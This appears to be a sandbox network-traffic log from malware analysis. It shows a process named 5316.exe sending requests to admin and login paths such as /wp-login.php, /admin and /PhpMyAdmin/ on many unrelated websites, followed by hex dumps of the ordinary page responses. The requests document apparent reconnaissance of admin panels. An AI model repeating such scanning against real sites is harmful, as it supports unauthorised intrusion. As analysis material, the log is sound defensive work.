2023-12-20 02:13:40 UTC	1252	IN	Data Raw: 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 61 70 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 Data Ascii: late.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></scri
2023-12-20 02:13:40 UTC	96	IN	Data Raw: 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: pan> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.4	51600	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:39 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:40 UTC	5312	IN	Data Raw: 31 34 62 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 14b3<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.4	51846	15.197.192.55	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	380	OUT	GET /admin HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_VZaX0EwJCXIzsSiHaYUXpXA/xviv+yxm9XJLtb+TfhWMnqnmy2I2U4T3vaFiSrk4upR0E+eyihOcwaLeiqf7xw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:40 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.4	51841	76.223.105.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	202	OUT	GET /admin/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:40 GMT Connection: close
2023-12-20 02:13:40 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.4	51778	198.185.159.144	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	171	OUT	GET /admin/ HTTP/1.1 Host: www.rosetre.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	474	IN	HTTP/1.1 404 Not Found Age: 0 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:40 GMT Etag: W/"6489318175bdb8a8994fb802892e57ee" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BT8uRUtc0C98M2M5NjJmZjg2ZTFlYWY3Y2M0Zjk3NTk5NjRlNjFh;Secure;Path=/ Strict-Transport-Security: max-age=0 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: DXb0zFOQ/bM9MgJWM Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:40 UTC	712	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:40 UTC	2372	IN	Data Raw: 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 73 65 74 72 65 20 4b 65 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 6d 61 67 65 5f 73 72 63 22 20 68 72 65 66 3d 22 22 20 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a Data Ascii: nnels"/><meta property="og:type" content="website"/><meta property="og:image" content=""/><meta itemprop="name" content="Rosetre Kennels"/><meta itemprop="thumbnailUrl" content=""/><link rel="image_src" href="" /><meta itemprop="image" content=""/>
2023-12-20 02:13:40 UTC	538	IN	Data Raw: 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 6d 6f 6d 65 6e 74 2d 6a 73 2d 76 65 6e 64 6f 72 2d 66 33 36 62 36 64 63 39 38 36 37 61 64 30 62 38 64 30 61 38 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 65 78 74 72 61 63 74 5f 63 73 73 5f 6d 6f 6d 65 6e 74 5f 6a 73 5f 76 65 6e 64 6f 72 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 Data Ascii: ipts-compressed/extract-css-moment-js-vendor-f36b6dc9867ad0b8d0a8-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_moment_js_vendor');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/extr
2023-12-20 02:13:40 UTC	4744	IN	Data Raw: 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 63 6c 64 72 5f 72 65 73 6f 75 72 63 65 5f 70 61 63 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 63 6c 64 72 2d 72 65 73 6f 75 72 63 65 2d 70 61 63 6b 2d 61 36 38 32 66 37 61 64 33 33 37 37 34 31 65 62 30 35 64 36 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 Data Ascii: ]; })(SQUARESPACE_ROLLUPS, 'squarespace-cldr_resource_pack');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/cldr-resource-pack-a682f7ad337741eb05d6-min.en-US.js" defer ></script><script>(function(rollu
2023-12-20 02:13:40 UTC	5930	IN	Data Raw: 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 70 69 6e 74 65 72 65 73 74 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 31 65 34 34 39 36 39 33 37 63 63 64 35 35 64 61 38 34 62 37 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 33 63 31 34 36 64 35 37 33 36 32 33 61 64 36 36 64 30 36 33 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 Data Ascii: S.js"},"squarespace-pinterest":{"css":"//assets.squarespace.com/universal/styles-compressed/pinterest-1e4496937ccd55da84b7-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/pinterest-3c146d573623ad66d063-min.en-US.js"},"squarespac
2023-12-20 02:13:40 UTC	7116	IN	Data Raw: 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 64 69 73 70 6c 61 79 49 6d 70 6f 72 74 65 64 50 72 6f 64 75 63 74 52 65 76 69 65 77 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 68 61 73 4f 70 74 65 64 54 6f 43 6f 6c 6c 65 63 74 4e 61 74 69 76 65 52 65 76 69 65 77 73 22 3a 66 61 6c 73 65 7d 2c 22 69 73 4c 69 76 65 22 3a 66 61 6c 73 65 2c 22 6d 75 6c 74 69 70 6c 65 51 75 61 6e 74 69 74 79 41 6c 6c 6f 77 65 64 46 6f 72 53 65 72 76 69 63 65 73 22 3a 74 72 75 65 7d 2c 22 75 73 65 45 73 63 61 70 65 4b 65 79 54 6f 4c 6f 67 69 6e 22 3a 74 72 75 65 2c 22 73 73 42 61 64 67 65 54 79 70 65 22 3a 31 2c 22 73 73 42 61 64 67 65 50 6f 73 69 74 69 6f 6e 22 3a 34 2c 22 73 73 42 61 64 67 65 56 69 73 69 62 69 6c 69 74 79 22 3a 31 2c 22 73 73 42 61 64 67 65 44 65 76 69 Data Ascii: Enabled":false,"displayImportedProductReviewsEnabled":false,"hasOptedToCollectNativeReviews":false},"isLive":false,"multipleQuantityAllowedForServices":true},"useEscapeKeyToLogin":true,"ssBadgeType":1,"ssBadgePosition":4,"ssBadgeVisibility":1,"ssBadgeDevi
2023-12-20 02:13:40 UTC	8302	IN	Data Raw: 64 22 2c 22 73 68 6f 77 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 69 6e 5f 70 6c 70 22 2c 22 6f 76 65 72 72 69 64 65 5f 62 6c 6f 63 6b 5f 73 74 79 6c 65 73 22 2c 22 63 75 73 74 6f 6d 69 7a 65 5f 69 74 65 6d 5f 70 61 79 77 61 6c 6c 69 6e 67 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 64 69 73 63 6f 75 6e 74 5f 73 65 63 74 69 6f 6e 5f 69 6e 5f 62 6c 61 73 74 73 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 22 2c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 79 70 65 6e 61 6d 65 5f 73 77 69 74 63 68 69 6e 67 22 2c 22 6d 65 6d 62 65 72 5f 61 72 65 61 73 5f 73 70 61 6e 69 73 68 5f 69 6e 74 65 72 76 69 65 77 73 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 74 68 75 6d 62 6e 61 69 6c 5f 6c 61 79 6f 75 74 22 2c 22 73 65 6e 64 5f 6c 6f 63 61 6c 5f 70 69 63 Data Ascii: d","show_add_to_cart_in_plp","override_block_styles","customize_item_paywalling","campaigns_discount_section_in_blasts","marketing_landing_page","collection_typename_switching","member_areas_spanish_interviews","campaigns_thumbnail_layout","send_local_pic
2023-12-20 02:13:40 UTC	3060	IN	Data Raw: 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 Data Ascii: l),1);--list-section-banner-slideshow-button-background-color:hsla(var(--safeDarkAccent-hsl),1);--list-section-banner-slideshow-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section-banner-slideshow-card-button-background-color:hsla(va
2023-12-20 02:13:40 UTC	4096	IN	Data Raw: 0d 0a 38 30 30 30 0d 0a 64 2d 62 61 73 69 63 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 67 72 69 64 2d 6f 76 65 72 6c 61 79 2d 6f 76 65 72 6c 61 79 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 77 68 69 74 65 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 67 72 69 64 2d 6f 76 65 72 6c 61 79 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 68 6f 76 65 72 2d 66 6f 6c 6c 6f 77 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 68 6f Data Ascii: 8000d-basic-title-color:hsla(var(--black-hsl),1);--portfolio-grid-overlay-overlay-color:hsla(var(--white-hsl),1);--portfolio-grid-overlay-title-color:hsla(var(--black-hsl),1);--portfolio-hover-follow-title-color:hsla(var(--black-hsl),1);--portfolio-ho
2023-12-20 02:13:40 UTC	11860	IN	Data Raw: 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 64 61 74 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 66 6f 72 6d 2d 62 6c 6f 63 6b 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 6c 69 67 68 74 41 63 63 65 Data Ascii: weak-events-item-pagination-date-color:hsla(var(--black-hsl),1);--tweak-events-item-pagination-icon-color:hsla(var(--black-hsl),1);--tweak-events-item-pagination-title-color:hsla(var(--black-hsl),1);--tweak-form-block-background-color:hsla(var(--lightAcce

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	52012	96.45.112.177	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	178	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	529	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ffb71c642e311e53081825c65ae874cf; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=4251663406; expires=Thu, 21-Dec-2023 02:13:40 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.texasopendoor.com/PhpMyAdmin/
2023-12-20 02:13:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.4	51982	205.178.187.19	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:40 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=bc53bbf6feb93554bc2f53c19552f487\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:40 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=B0529FC82FDD088C9FB9073AE0A6B6BD; Path=/; HttpOnly x-envoy-upstream-service-time: 1 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:40 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% 